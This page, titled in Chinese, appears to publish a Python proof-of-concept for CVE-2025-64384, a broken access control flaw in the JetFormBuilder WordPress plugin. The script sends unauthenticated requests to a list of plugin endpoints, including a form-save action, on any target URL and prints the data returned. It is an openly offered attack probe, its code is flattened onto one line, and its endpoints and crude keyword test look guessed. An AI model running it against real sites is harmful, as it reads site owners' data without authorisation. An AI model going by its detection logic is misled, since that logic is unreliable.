CVE-2025-64384 JetFormBuilder WordPress插件访问控制漏洞

import requests import sys # CVE-2025-64384 PoC - JetFormBuilder Broken Access Control # Target: WordPress site with JetFormBuilder plugin <= 3.5.3 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-64384 Missing Authorization in JetFormBuilder plugin """ # Common JetFormBuilder endpoints that may lack authorization endpoints = [ '/wp-json/jet-form-builder/v1/forms', '/wp-json/jet-form-builder/v1/field-types', '/wp-admin/admin-ajax.php?action=jet_fb_fetch_form', '/wp-admin/admin-ajax.php?action=jet_fb_save_form', '/wp-json/jet-form-builder/v1/notifications' ] vulnerable = False for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10) # Check if we get unauthorized response or actual data if response.status_code == 200: # Check if response contains sensitive data without auth if 'form' in response.text.lower() or 'field' in response.text.lower(): print(f'[+] Potentially vulnerable endpoint: {url}') print(f' Status: {response.status_code}') print(f' Response preview: {response.text[:200]}...') vulnerable = True elif response.status_code == 401 or response.status_code == 403: print(f'[-] Protected endpoint: {url}') except requests.exceptions.RequestException as e: print(f'[!] Error testing {url}: {e}') return vulnerable if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-64384-poc.py <target_url>') print('Example: python cve-2025-64384-poc.py http://example.com') sys.exit(1) target = sys.argv[1] print(f'[*] Scanning {target} for CVE-2025-64384...') print(f'[*] JetFormBuilder <= 3.5.3 Broken Access Control\n') if check_vulnerability(target): print('\n[!] Target may be vulnerable to CVE-2025-64384') print('[*] Recommended action: Upgrade JetFormBuilder to latest version') else: print('\n[*] No obvious vulnerabilities detected') print('[*] Manual testing may be required')